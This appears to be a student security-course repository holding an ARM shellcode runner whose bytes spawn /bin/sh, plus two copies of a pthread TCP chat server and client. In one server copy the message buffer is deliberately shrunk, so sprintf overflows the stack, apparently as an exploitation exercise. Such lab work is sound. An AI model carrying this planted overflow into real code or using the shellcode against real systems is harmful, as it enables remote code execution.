최예리

소스 코드, 최종 보고서 업로드

No preview for this file type
No preview for this file type
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78";
int main(){
printf("length: %d\n", strlen(shellcode));
int(*ret)() = (int(*)()) shellcode;
ret();
}
\ No newline at end of file
CC = gcc
CFLAGS =
LDFLAGS = -lpthread
.SUFFIXES : .c .o
.c.o :
$(CC) -c $(CFLAGS) $<
ALL = chats chatc
all: $(ALL)
chats: chats.o
$(CC) -o $@ $< $(LDFLAGS)
chatc: chatc.o
$(CC) -o $@ $< $(LDFLAGS)
clean :
rm -rf *.o $(ALL)
#define MY_ID 0
#define SERV_TCP_PORT (9000 + MY_ID)
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "chat.h"
#define MAX_BUF 256
int Sockfd;
void
ChatClient(void)
{
char buf[MAX_BUF];
int count, n;
fd_set fdset;
printf("Enter ID: ");
fflush(stdout);
fgets(buf, MAX_BUF, stdin);
*strchr(buf, '\n') = '\0';
if (send(Sockfd, buf, strlen(buf)+1, 0) < 0) {
perror("send");
exit(1);
}
printf("Press ^C to exit\n");
while (1) {
FD_ZERO(&fdset);
FD_SET(Sockfd, &fdset);
FD_SET(STDIN_FILENO, &fdset);
if ((count = select(10, &fdset, (fd_set *)NULL, (fd_set *)NULL,
(struct timeval *)NULL)) < 0) {
perror("select");
exit(1);
}
while (count--) {
if (FD_ISSET(Sockfd, &fdset)) {
if ((n = recv(Sockfd, buf, MAX_BUF, 0)) < 0) {
perror("recv");
exit(1);
}
if (n == 0) {
fprintf(stderr, "Server terminated.....\n");
close(Sockfd);
exit(1);
}
printf("%s", buf);
}
else if (FD_ISSET(STDIN_FILENO, &fdset)) {
fgets(buf, MAX_BUF, stdin);
if ((n = send(Sockfd, buf, strlen(buf)+1, 0)) < 0) {
perror("send");
exit(1);
}
}
}
}
}
void
CloseClient(int signo)
{
close(Sockfd);
printf("\nChat client terminated.....\n");
exit(0);
}
main(int argc, char *argv[])
{
struct sockaddr_in servAddr;
struct hostent *hp;
if (argc != 2) {
fprintf(stderr, "Usage: %s ServerIPaddress\n", argv[0]);
exit(1);
}
if ((Sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
bzero((char *)&servAddr, sizeof(servAddr));
servAddr.sin_family = PF_INET;
servAddr.sin_port = htons(SERV_TCP_PORT);
if (isdigit(argv[1][0])) {
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
}
else {
if ((hp = gethostbyname(argv[1])) == NULL) {
fprintf(stderr, "Unknown host: %s\n", argv[1]);
exit(1);
}
memcpy(&servAddr.sin_addr, hp->h_addr, hp->h_length);
}
if (connect(Sockfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) < 0) {
perror("connect");
exit(1);
}
signal(SIGINT, CloseClient);
ChatClient();
}
#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include "chat.h"
#define DEBUG
#define MAX_CLIENT 5
#define MAX_ID 32
#define MAX_BUF 256
typedef struct {
int sockfd;
int inUse;
pthread_t tid;
char uid[MAX_ID];
}
ClientType;
int Sockfd;
pthread_mutex_t Mutex;
ClientType Client[MAX_CLIENT];
int
GetID()
{
int i;
for (i = 0 ; i < MAX_CLIENT ; i++) {
if (! Client[i].inUse) {
Client[i].inUse = 1;
return i;
}
}
}
void
SendToOtherClients(int id, char *buf)
{
int i;
char msg[128+MAX_ID]; // Original: char msg[MAX_BUF+MAX_ID];
sprintf(msg, "%s> %s", Client[id].uid, buf);
#ifdef DEBUG
printf("%s", msg);
fflush(stdout);
#endif
pthread_mutex_lock(&Mutex);
for (i = 0 ; i < MAX_CLIENT ; i++) {
if (Client[i].inUse && (i != id)) {
if (send(Client[i].sockfd, msg, strlen(msg)+1, 0) < 0) {
perror("send");
exit(1);
}
}
}
pthread_mutex_unlock(&Mutex);
}
void
ProcessClient(int id)
{
char buf[MAX_BUF];
int n;
if (pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL)) {
perror("pthread_setcancelstate");
exit(1);
}
if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL)) {
perror("pthread_setcanceltype");
exit(1);
}
if ((n = recv(Client[id].sockfd, Client[id].uid, MAX_ID, 0)) < 0) {
perror("recv");
exit(1);
}
printf("Client %d log-in(ID: %s).....\n", id, Client[id].uid);
while (1) {
if ((n = recv(Client[id].sockfd, buf, MAX_BUF, 0)) < 0) {
perror("recv");
exit(1);
}
if (n == 0) {
printf("Client %d log-out(ID: %s).....\n", id, Client[id].uid);
pthread_mutex_lock(&Mutex);
close(Client[id].sockfd);
Client[id].inUse = 0;
pthread_mutex_unlock(&Mutex);
strcpy(buf, "log-out.....\n");
SendToOtherClients(id, buf);
pthread_exit(NULL);
}
SendToOtherClients(id, buf);
}
}
void
CloseServer(int signo)
{
int i;
close(Sockfd);
for (i = 0 ; i < MAX_CLIENT ; i++) {
if (Client[i].inUse) {
if (pthread_cancel(Client[i].tid)) {
perror("pthread_cancel");
exit(1);
}
if (pthread_join(Client[i].tid, NULL)) {
perror("pthread_join");
exit(1);
}
close(Client[i].sockfd);
}
}
if (pthread_mutex_destroy(&Mutex) < 0) {
perror("pthread_mutex_destroy");
exit(1);
}
printf("\nChat server terminated.....\n");
exit(0);
}
main(int argc, char *argv[])
{
int newSockfd, cliAddrLen, id, one = 1;
struct sockaddr_in cliAddr, servAddr;
signal(SIGINT, CloseServer);
if (pthread_mutex_init(&Mutex, NULL) < 0) {
perror("pthread_mutex_init");
exit(1);
}
if ((Sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(Sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
perror("setsockopt");
exit(1);
}
bzero((char *)&servAddr, sizeof(servAddr));
servAddr.sin_family = PF_INET;
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
servAddr.sin_port = htons(SERV_TCP_PORT);
if (bind(Sockfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) < 0) {
perror("bind");
exit(1);
}
listen(Sockfd, 5);
printf("Chat server started.....\n");
cliAddrLen = sizeof(cliAddr);
while (1) {
newSockfd = accept(Sockfd, (struct sockaddr *) &cliAddr, &cliAddrLen);
if (newSockfd < 0) {
perror("accept");
exit(1);
}
id = GetID();
Client[id].sockfd = newSockfd;
if (pthread_create(&Client[id].tid, NULL, (void *)ProcessClient, (void *)id) < 0) {
perror("pthread_create");
exit(1);
}
}
}
CC = gcc
CFLAGS =
LDFLAGS = -lpthread
.SUFFIXES : .c .o
.c.o :
$(CC) -c $(CFLAGS) $<
ALL = chats chatc
all: $(ALL)
chats: chats.o
$(CC) -o $@ $< $(LDFLAGS)
chatc: chatc.o
$(CC) -o $@ $< $(LDFLAGS)
clean :
rm -rf *.o $(ALL)
#define MY_ID 0
#define SERV_TCP_PORT (9000 + MY_ID)
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "chat.h"
#define MAX_BUF 256
int Sockfd;
void
ChatClient(void)
{
char buf[MAX_BUF];
int count, n;
fd_set fdset;
printf("Enter ID: ");
fflush(stdout);
fgets(buf, MAX_BUF, stdin);
*strchr(buf, '\n') = '\0';
if (send(Sockfd, buf, strlen(buf)+1, 0) < 0) {
perror("send");
exit(1);
}
printf("Press ^C to exit\n");
while (1) {
FD_ZERO(&fdset);
FD_SET(Sockfd, &fdset);
FD_SET(STDIN_FILENO, &fdset);
if ((count = select(10, &fdset, (fd_set *)NULL, (fd_set *)NULL,
(struct timeval *)NULL)) < 0) {
perror("select");
exit(1);
}
while (count--) {
if (FD_ISSET(Sockfd, &fdset)) {
if ((n = recv(Sockfd, buf, MAX_BUF, 0)) < 0) {
perror("recv");
exit(1);
}
if (n == 0) {
fprintf(stderr, "Server terminated.....\n");
close(Sockfd);
exit(1);
}
printf("%s", buf);
}
else if (FD_ISSET(STDIN_FILENO, &fdset)) {
fgets(buf, MAX_BUF, stdin);
if ((n = send(Sockfd, buf, strlen(buf)+1, 0)) < 0) {
perror("send");
exit(1);
}
}
}
}
}
void
CloseClient(int signo)
{
close(Sockfd);
printf("\nChat client terminated.....\n");
exit(0);
}
main(int argc, char *argv[])
{
struct sockaddr_in servAddr;
struct hostent *hp;
if (argc != 2) {
fprintf(stderr, "Usage: %s ServerIPaddress\n", argv[0]);
exit(1);
}
if ((Sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
bzero((char *)&servAddr, sizeof(servAddr));
servAddr.sin_family = PF_INET;
servAddr.sin_port = htons(SERV_TCP_PORT);
if (isdigit(argv[1][0])) {
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
}
else {
if ((hp = gethostbyname(argv[1])) == NULL) {
fprintf(stderr, "Unknown host: %s\n", argv[1]);
exit(1);
}
memcpy(&servAddr.sin_addr, hp->h_addr, hp->h_length);
}
if (connect(Sockfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) < 0) {
perror("connect");
exit(1);
}
signal(SIGINT, CloseClient);
ChatClient();
}
#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include "chat.h"
#define DEBUG
#define MAX_CLIENT 5
#define MAX_ID 32
#define MAX_BUF 256
typedef struct {
int sockfd;
int inUse;
pthread_t tid;
char uid[MAX_ID];
}
ClientType;
int Sockfd;
pthread_mutex_t Mutex;
ClientType Client[MAX_CLIENT];
int
GetID()
{
int i;
for (i = 0 ; i < MAX_CLIENT ; i++) {
if (! Client[i].inUse) {
Client[i].inUse = 1;
return i;
}
}
}
void
SendToOtherClients(int id, char *buf)
{
int i;
char msg[MAX_BUF+MAX_ID];
sprintf(msg, "%s> %s", Client[id].uid, buf);
#ifdef DEBUG
printf("%s", msg);
fflush(stdout);
#endif
pthread_mutex_lock(&Mutex);
for (i = 0 ; i < MAX_CLIENT ; i++) {
if (Client[i].inUse && (i != id)) {
if (send(Client[i].sockfd, msg, strlen(msg)+1, 0) < 0) {
perror("send");
exit(1);
}
}
}
pthread_mutex_unlock(&Mutex);
}
void
ProcessClient(int id)
{
char buf[MAX_BUF];
int n;
if (pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL)) {
perror("pthread_setcancelstate");
exit(1);
}
if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL)) {
perror("pthread_setcanceltype");
exit(1);
}
if ((n = recv(Client[id].sockfd, Client[id].uid, MAX_ID, 0)) < 0) {
perror("recv");
exit(1);
}
printf("Client %d log-in(ID: %s).....\n", id, Client[id].uid);
while (1) {
if ((n = recv(Client[id].sockfd, buf, MAX_BUF, 0)) < 0) {
perror("recv");
exit(1);
}
if (n == 0) {
printf("Client %d log-out(ID: %s).....\n", id, Client[id].uid);
pthread_mutex_lock(&Mutex);
close(Client[id].sockfd);
Client[id].inUse = 0;
pthread_mutex_unlock(&Mutex);
strcpy(buf, "log-out.....\n");
SendToOtherClients(id, buf);
pthread_exit(NULL);
}
SendToOtherClients(id, buf);
}
}
void
CloseServer(int signo)
{
int i;
close(Sockfd);
for (i = 0 ; i < MAX_CLIENT ; i++) {
if (Client[i].inUse) {
if (pthread_cancel(Client[i].tid)) {
perror("pthread_cancel");
exit(1);
}
if (pthread_join(Client[i].tid, NULL)) {
perror("pthread_join");
exit(1);
}
close(Client[i].sockfd);
}
}
if (pthread_mutex_destroy(&Mutex) < 0) {
perror("pthread_mutex_destroy");
exit(1);
}
printf("\nChat server terminated.....\n");
exit(0);
}
main(int argc, char *argv[])
{
int newSockfd, cliAddrLen, id, one = 1;
struct sockaddr_in cliAddr, servAddr;
signal(SIGINT, CloseServer);
if (pthread_mutex_init(&Mutex, NULL) < 0) {
perror("pthread_mutex_init");
exit(1);
}
if ((Sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(Sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
perror("setsockopt");
exit(1);
}
bzero((char *)&servAddr, sizeof(servAddr));
servAddr.sin_family = PF_INET;
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
servAddr.sin_port = htons(SERV_TCP_PORT);
if (bind(Sockfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) < 0) {
perror("bind");
exit(1);
}
listen(Sockfd, 5);
printf("Chat server started.....\n");
cliAddrLen = sizeof(cliAddr);
while (1) {
newSockfd = accept(Sockfd, (struct sockaddr *) &cliAddr, &cliAddrLen);
if (newSockfd < 0) {
perror("accept");
exit(1);
}
id = GetID();
Client[id].sockfd = newSockfd;
if (pthread_create(&Client[id].tid, NULL, (void *)ProcessClient, (void *)id) < 0) {
perror("pthread_create");
exit(1);
}
}
}